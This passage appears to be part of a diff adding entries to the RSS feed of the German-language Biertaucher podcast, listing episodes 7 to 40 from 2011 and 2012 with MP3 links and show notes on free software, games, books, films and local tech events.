+ <img src="http://spielend-programmieren.at/lib/exe/fetch.php?hash=5fb22f&w=250&media=http%3A%2F%2Fwww.vertex4.com%2Fsunage%2Fimages%2Fshots%2Fhalf%2Fsa102007_03.jpg" alt="Sun Age screenshot"></img>
+ <img src="http://spielend-programmieren.at/lib/exe/fetch.php?hash=dfcc7b&w=250&media=http%3A%2F%2Fwww.gratuitoustankbattles.com%2Fimg%2Fcontent%2Ffeatured1.jpg" alt="Gratitous Tank battle screenshot"></img>
+ <br></br>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher040.mp3" length="76171264" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 039</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:039</link>
+ <pubDate>Wed, 15 Feb 2012 09:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher039.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen siehe Shownotes auf http://biertaucher.at
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher039.mp3" length="64931840" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 038</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:038</link>
+ <pubDate>Wed, 08 Feb 2012 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher038.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Florian Schweikert plaudern über freie Software und andere Nerd-Themen. Diesmal zu Gast: Johnny und Amin (?). Johnny liest Meldungen vor die wir gesammelt haben aber im Podcast nicht verwenden, Florian berichtet von der FOSDEM Konferenz in Belgien, Martin hat eine Montessori-Schulung besucht und erzählt davon, Horst berichtet vom Bitcoinstammtisch. Außerdem plaudern wir über Softwarelizenzen, Programmiersprachen, das offene Tablet Spark, über Shodan, die Suchmaschine für Hacker und Scriptkiddys. Gregor und Florian haben sich die erste Fogle vom Smarthomepodcast angeschaut, Horst war im Kino Empire_Me anschauen und hat den freien ebook Roman Incommunicado von Michel Reimon verschlungen.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher038.mp3" length="81367040" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 037</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:037</link>
+ <pubDate>Wed, 01 Feb 2012 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher037.mp3</guid>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Horst berichtet von seinen Erlebnissen auf der Austria Game Jam 2012. Horst und Gregor machen sich über den Watschenmann der Woche - Ansgar Heveling - lustig und scheitern (nicht ganz) an einer Near-Field-Communication zwischen 2 Android Handys. Gregor spricht über die Boxee-Box und Android4 Ice Cream Sandwich. Horst ist von Christoph Derndorfer (OLPC Austria) hat auf ein interessantes Video-Interview von Isaac Asimov Interview aus dem Jahr 1988 aufmerksam gemacht worden (computer-based individual learning). Weiters gibt es allerlei vermischte Meldungen. Abschließend im schöner-Leben Teil freuen wir uns auf den Iron-Sky Film aus Finnland und Gregor stellt einen neuen Podcast aus Wien vor: Gesellschaftliche Spannungsfelder der Informatik.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher037.mp3" length="44331008" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 036</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:036</link>
+ <pubDate>Wed, 25 Jan 2012 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher036.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Florian SCHWEIKERT plaudern über freie Software und andere Nerd-Themen. Zwischen explodierenden Mate-Flaschen, Schokosüchtigen Schnorrerrinnen und lernenden Studenten vor denen wir in einen Uni-Hörsaal flüchten geht es dismal um folgende Themen: Acta, Sopa, Anonymus, episch blöde Reaktion auf Literaturkritik, Marint's Bericht von Subotron-Lecture über Cloud-Gaming, Bücherbesprechung: Hackerbrause, Bhudda (Grapical Novel), The Boy who harnessed the Wind (Kinderbuch). Filmbesprechung: Ziemlich beste Freunde. Außerdem gibt es allerlei zu OpenData, Openstreetmap (Linz), offline-lesen am Android, Apples Schulbücher u.v.a.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher036.mp3" length="78684160" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 035</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:035</link>
+ <pubDate>Wed, 18 Jan 2012 18:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher035.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Florian SCHWEIKERT plaudern über freie Software und andere Nerd-Themen. Diesmal erstmalig dabei ist Florian SCHWEIKERT. Themen u.a.: Metaday zum Thema Urheberrecht, Sopa, Raspberry Pi, Kobo Ebook-Reader, zeichnemit.at, Petitionen, Vorratsdatenspeicherung. Buchbesprechungen: Umberto Ecco: Der Friedhof in Prag; Amy Chua: Battle Hymn of the Tiger Mother. Film: Sherlock Holmes.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher035.mp3" length="66799136" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 034</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:034</link>
+ <pubDate>Wed, 11 Jan 2012 23:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher034.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Martin MAYR plaudern über freie Software und andere Nerd-Themen. Themen u.a.: Hühnerfleischskandal, CES, OLPC XO, Fernseher mit Myspace, Nokia, Retro-Gaming am Commodore C128 (C64), Elektroplankton (Musikspiel), Biertaucher-Kalender u.v.a.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher034.mp3" length="46718976" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 033</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:033</link>
+ <pubDate>Wed, 04 Jan 2012 08:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher033.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Martin MAYR plaudern über freie Software und andere Nerd-Themen. Diesmal zu Gast sind Harald PICHLER und Peter SCHLEINZER mit den Themen Haustechnik, Smart Home, Energie. Zuerst berichtet Gregor vom Podcaststammtisch und von seinen Erfahrungen mit Flattr. Horst spricht kurz über Frozen Planet (BBC-Serie), Open University und sinnlose Vorlesungen. Martin hat seit Weihnachten ein I-Pad getestet und verrät uns seine Erfahrungen damit. Anschließend erzählt Peter von seinen Versuchen einen smarten Pellet-Brennkessel zu kaufen und von seinem Smart Home. Harald erklärt Energie(politische) Themen wie Spannungsschwankungen im Stromnetz, Stromzähler (Smartmeter) und per Funk fernsteuerbare Steckdosen. Das Gespräch dreht sich in Folge um die Themen Energiesparen / Energieverschwendung und Energieverbrauch im Zusammenhang mit Wohnen, Heizen und Haushaltsgeräten.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher033.mp3" length="70162432" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 032</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:032</link>
+ <pubDate>Fri, 30 Dec 2011 08:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher032.mp3</guid>
+ <description>Horst JENS plaudert über freie Software und andere Nerd-Themen: Diesmal geht es hauptsächlich um Computerspiele. Es gibt eine ausführliche Besprechung vom Humble Bundle 4. Man kann (Open-Source) Spiele per Flattr unterstüzten, u.a. Minecraft. Zum Abschluss ein Interview mit Spielend-programmieren Schüler Michael über sein (mit SCRATCH) selbst programmiertes Spiel Bat-Bomber. Außerdem Neues von Martin Balluchs Blog.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher032.mp3" length="16515072" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 031</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:031</link>
+ <pubDate>Thu, 22 Dec 2011 15:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher031.mp3</guid>
+ <description>Horst JENS und Martin Mayr trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal ohne Gregor Pridun und daher mit schlechter Soundqualität. Themen u.a.: Westbahn, schöner leben in Wien (Kaffe trinken und vegetarisch essen), Helmpflicht beim Radfahren, Bikeboxen, Kopfhörer, Symbian, Google Docs, Spielebesprechungen (Dungeons of Dredmor und Gratuitous Space Battles, Humble Bundle), Filmbesprechung: Der (Tierschützer) Prozess, Habemus Papam.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher031.mp3" length="35506176" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 030</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:030</link>
+ <pubDate>Thu, 15 Dec 2011 10:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher030.mp3</guid>
+ <description>Gregor PRIDUN, Horst JENS und Martin MAYR trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal ohne Gäste aber mit mehreren externen Interviews am Ende des Podcasts. Erstmals mit einer (Vor)lesung: Horst liest 3 entscheidende Seiten aus Martin Balluch's Buch Tierschützer-Staatsfeind vor. Gregor berichtet von seinen Erfahrungen mit dem neuen OYO E-reader. Martin reportet von Symbian Belle am Nokia N8. Horst war im Happylab und vor allem im Metalab beim SuperGameDevWeekend und hat dort ein Interview über 2 Jahre Python User Group Wien geführt (am Ende des Podcasts angefügt). Gregor hat noch immer nicht Blade Runner geschaut aber immerhin Bücher von Phillip K. Dick gelesen und sich den Nachttaxi Podcast angehört. Gregor und Martin erörtern Unterschiede zwischen der alten und der neuen Battlestar-Galactica TV-Serie. Horst hat sich den Film American Passages im Kino angschaut. Martin liefert seine erste Außenreportage von einer Kaffeeverkostung / mit insgesamt 3 Interviews (ebenfalls am Ende des Podcasts angefügt) u.a. zum Thema Fair-Trade und Kafeebauern.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher030.mp3" length="71481344" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 029</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:029</link>
+ <pubDate>Wed, 07 Dec 2011 08:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher029.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Zu Gast: Max und Martin M. Max spricht über sein Informatik-Kustgeschichte Projekt http://www.explorartorium.info/ sowie über Computerspiele zum Thema Kunst. Horst hat einen Vortrag von Martin Balluch über dessen Buch „Tierschützer Staatsfeind“ gehört und berichtet kurz davon, Martin erzählt ausführlichst von seiner Vegetarierwerdung. Gregor war mit Horst auf der Roboxoticawährend um von Robotern gemixte Cocktails zu drinken. Außerdem: Computerspiele beim Humble Inroversion Bundle und Bericht von der Retro-Börse für klassische Computergames auf der TU Wien. Im Podcast inkludiert, aber auch extra abrufbar: Interviews von der Retro-Börse mit dem österreichischem Ti-99 club und einem retrogames-Verleger. Buchbesprechung: Snuff von Terry Pratchett.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher029.mp3" length="62734336" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 028</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:028</link>
+ <pubDate>Wed, 30 Nov 2011 20:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher028.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Zu Gast: Martin M. und Motz. Horst outet den Wappler der Woche, Gregor spricht über englische Fernsehserien, Martin über Bluetooth, Symbian Handys und Songbird, Motz spricht über Ufo:Ai. Dazu gibt es wie immer kleinere Themen und Meldungen. Und erstmals wird aus dem Biertaucherkalender für die kommende Woche vorgelesen.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher028.mp3" length="46571520" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 027</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:027</link>
+ <pubDate>Wed, 23 Nov 2011 09:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher027.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Schon zum zweiten Mal zu Gast ist diesmal Thomas Perl, der über Spieleprogrammierung, Nokia und Python Konferenzen, mobilen Plattformen, 3D-Grafik mit Pygame und seine Podcatcher-Software Gpodder berichtet. Danach plaudern wir über Ebooks, E-Reader, die Software Calibre und das epub-Format. Gregor hat im Kino u.a. Melancholia und Tim und Struppi angeschaut und erzählt davon. Außerdem gibt's ein aufgezeichnetes Gespräch zwischen Horst und Motz zum Thema Rogue-likes, Nethack und Dungeon Crawl.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher027.mp3" length="73840640" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 026</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:026</link>
+ <pubDate>Fri, 18 Nov 2011 08:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher026.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Wobei wir diesmal vor lauter zuhören fast auf's Biertrinken vergessen haben. Zu Gast in dieser Folge sind Martin „Der Hörer“ Mayr. und Joseph „Aircraft“ Mangan. Martin hat heroischerweise das neue Spiel von Broken Rules probegespielt und berichtet darüber. Joseph erzählt (auf Englisch) von seinen Plänen die (Passagierjet) Pilotenausbildung zu open-sourcen. Horst war auf der Buchmesse Wien und hat die (Co)Autoren Albert Knorr und Marlen Raab interviewt (sehr interessantes Leser-Rekrutierungstool) sowie die Verlegerin Veronika Maria Stix vom Wiener Fantasy-only Verlag „Mondwolf“. Ganz kurz präsentiert wird das Buch „Die drei Drachen“ von Lukas Jamy, erwähnt wird ferner das Bildungsvolksbegehren.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher026.mp3" length="67074048" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 025</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:025</link>
+ <pubDate>Wed, 09 Nov 2011 07:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher025.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal geht's um die brandneuen „Pages“ bei Google+, etwas ältere bulgarische Apple-Computer, Jogis Subotron Vortrag (Game Gardening Institute in Holland), Computerspiele (Humble Bundle, Horst's wöchentliches scheitern bei Dungeon Crawl), es gibt österreichische Podcast-Empfehlungen, wir reden über Programmiersprachen
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher025.mp3" length="42532864" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 024</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:024</link>
+ <pubDate>Wed, 02 Nov 2011 10:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher024.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal ohne Gregor (da krank), dafür mit den beiden Gästen Martin „der Hörer“ und Harald „the Developer“ Pichler. Leicht chaotisch geht es um Open Hardware und Open Source in der Haustechnik, Arduino, Beagle-Board und Open-Hardware Lizenzen (Harald). Martin steuert Podcastempfehlungen bei und gibt bemerkenswerte Einsichten in die Subkultur der Kaffebohnen-Selbströster. Horst berichtet vom Viennale - Film „Tahrir, Liberation Square“ (Aufzeichnung der Podiumsdiskussion mit dem Regisseur Savano gibt es unter Extra-Content). Im Anschluss folgt ein langes Interview auf Englisch mit Joseph Mangan ( eingewandert aus den USA nach Österreich, siehe auch Extra-Content) zum Thema (u.a.) kulturelle Unterschiede in der Business - Kultur zwischen Österreich, Brasilien und den USA.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher024.mp3" length="85895168" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 023</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:023</link>
+ <pubDate>Wed, 26 Oct 2011 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher023.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal mit großem Bericht von der Gamecity 2011 im Wiener Rathaus, Interview mit Jogi Neufeld von Subotron und Harald Pichler (Linuxbox, Haussteuerung). Horst fordert auf, den „Profil“-Artikel zum Ösi-Trojaner zu lesen, Gregor und Horst berichten über ihre Erfahrungen mit Ubuntu 11.10 und erzählen über Podcasts, die sie gehört haben. U.v.m.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher023.mp3" length="44115968" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 022</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:022</link>
+ <pubDate>Wed, 19 Oct 2011 20:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher022.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal mit Bericht vom Podcast-Barcamp, Unterschiede zwischen Flattr und Kachingle, Demoberichterstattung: OccupyVienna, Interview mit Schriftsteller Martin Auer.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher022.mp3" length="61276160" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 021</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:021</link>
+ <pubDate>Wed, 12 Oct 2011 08:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher021.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal mit doppeltem Kulturteil: Filmbesprechung "Wie man leben soll" und Bericht über Mascheks Produktion "101010". Technik: Gregor berichtet vom Django-Programmieren und anderen CMS-Systemen. Politik: Horst erzählt vom Hanfwandertag (Demonstration) letzte Woche. u.s.w., u.s.f.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher021.mp3" length="30412800" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 020</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:020</link>
+ <pubDate>Wed, 05 Oct 2011 07:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher020.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal Jubiläumsgeplauder in eine „tote Katze“: Horst bericht von Jogi's (Subotron) Spiele-Entwicklerparty (e-sport in Österreich, Spiel „Ludwig“, GameCity, Frog) und Vortragsreihe sowie dem Ganzkörperspiel „Ninja“ (kein (!) Computerspiel), Gregor philosphiert über die CMS-Systeme Joomla und Drupal, Horst berichtet vom Hanfwandertag und vom neusten Indy-Humble-Bundle game „Frozen Synaptic“, Gregor berichtet vom Film „Red State“, Horst vom Film „The Guard“ u.v.m.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher020.mp3" length="40830976" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 019</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:019</link>
+ <pubDate>Wed, 28 Sep 2011 09:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher019.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal: Zombies ! Der Biertaucherpodcast verfolgt einen Zombieflashmob, bespricht das Buch „Civilisation“, berichtet vom Slash-Film-Festival, redet über Wikis und philosphiert über Microsoft neustes Rütteln am Watschenbaum (Windows 8 hardware lock).
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher019.mp3" length="38526976" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 018</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:018</link>
+ <pubDate>Wed, 21 Sep 2011 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher018.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal: VPN Netzwerke, Buchbesprechungen, Slash-Film-Festival.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher018.mp3" length="27652096" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 017</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:017</link>
+ <pubDate>Thu, 15 Sep 2011 21:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher017.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal: Horst berichtet von der Sugarcamp Konferenz in Paris und bejammert den Diebstahl seines Handys. Gregor hat sich die Gnome Shell und Unity auf Ubuntu 11.10 angeschaut und empfiehlt Anime und Podcasts.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher017.mp3" length="54056960" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 016</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:016</link>
+ <pubDate>Thu, 08 Sep 2011 13:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher016.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal: Horst berichtet von den Weizer Knoppixtagen, Gregor berichtet vo der AniNite´11 (Manga) auf der TU-Wien. Ferner: Knoppix, Computer(spiele) für Blinde, Sugar on a stick, Gregor hat genug vom Planet der Affen, Wilfred (US Serie) , Burgbau in Friesach.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher016.mp3" length="61075456" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 015</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:015</link>
+ <pubDate>Thu, 01 Sep 2011 07:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher015.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal berichtet Gregor vom Planet der Affen (Teil1, 1968).
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher015.mp3" length="28065792" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 014</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:014</link>
+ <pubDate>Fri, 26 Aug 2011 17:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher014.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Gregors Küchenkastelcomputer mit Google-OS, Interview mit Christoph Derndorfer über das One-Laptop-per-Child Projekt (XO, 100$-Laptop), Gregors Aufzeichnung vom Bitcoinstammtisch im Metalab.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher014.mp3" length="42702848" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 013</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:013</link>
+ <pubDate>Thu, 18 Aug 2011 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher013.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal mit Gastbeitrag von spielend-programmieren-Schüler Paul. Themen: Horst berichtet vom Chaos Communication Camp ( #cccamp11 ), Paul beschreibt das Opens-Source Spiel Xmoto und Gregor berichtet vom Bitcoinstammtsich.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher013.mp3" length="35340288" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 012</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:012</link>
+ <pubDate>Tue, 09 Aug 2011 09:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher012.mp3</guid>
+ <description>Gregor PRIDUN und Horst JENS trinken Bier und plaudern über freie Software und andere Nerd-Themen. Diesmal mit Gast Armin PECHER. Themen u.a.: Horst will nach Berlin auf das CCCamp, Armin doziert über Wirtschaft und Film, Gregor pack seinen Onyo-Reader erzählt vom Film „The Boss of it all“. Außerdem: Neues vom Humble-Indie-Bundle3, Factor-E-Farm (open source ecology)
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher012.mp3" length="51681280" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 011</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:011</link>
+ <pubDate>Tue, 02 Aug 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher011.mp3</guid>
+ <description>Die 11. Biertaucher-Folge mit Horst JENS und Gregor PRIDUN. Themen u.a.: Biertaucher Podcast Folge 011: Horst und Gregor besuchen das Metalab, Gregor erzählt über seine schwierige Beziehung mit einem Motorola Handy und empfiehlt Podcasts. Horst hat versagt, "Virus Auto" gelesen und das "Humble Bundle 3" angespielt. Ankündigung vom Podcast-Barcamp, Voten beim European Podcast Award und einiges mehr.
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher011.mp3" length="39340032" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 010</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:010</link>
+ <pubDate>Tue, 26 Jul 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher010.mp3</guid>
+ <description>Die 10. Biertaucher-Jubiläums-Folge mit Horst JENS und Gregor PRIDUN. Themen u.a.: Huddle, Google+, Android, Scratch, Appinventor, Dwarf Fortress, OLPC, XO, TED, Ubuntu, Linux Advanced, Destop4Education, Lernstick, Transmetropolitan
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher010.mp3" length="45955072" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 009</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:009</link>
+ <pubDate>Tue, 19 Jul 2011 22:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher009.mp3</guid>
+ <description>Die 9. Biertaucher Folge mit Horst JENS aber ausnahmsweise ohne Gregor PRIDUN. Diesmal Mit Gastbeiträgen von Andreas und Andreas (Bitcoin) und Andie und Melanie (Partygespräche). Themen:
+ Buch: The Undercover Economist (Tim Harford), TED-Talk, Bericht vom Bitcoin-Stammtisch, Partygespräche über Nerd-Themen, Spiel: Heroes of Might and Magic
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher009.mp3" length="33509376" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 008</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:008</link>
+ <pubDate>Tue, 12 Jul 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher008.mp3</guid>
+ <description>Die 8. Biertaucher diesmal mit Gast Thomas Perl. Themen u.a.:
+ Google+, Gpodder, Europython, Buch: Adapt (Tim Harford), Comic: Transmetropolitan, Film: Ideocrazy
+ </description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher008.mp3" length="58806272" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 007</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:007</link>
+ <pubDate>Fri, 08 Jul 2011 08:00:00 +0100</pubDate>
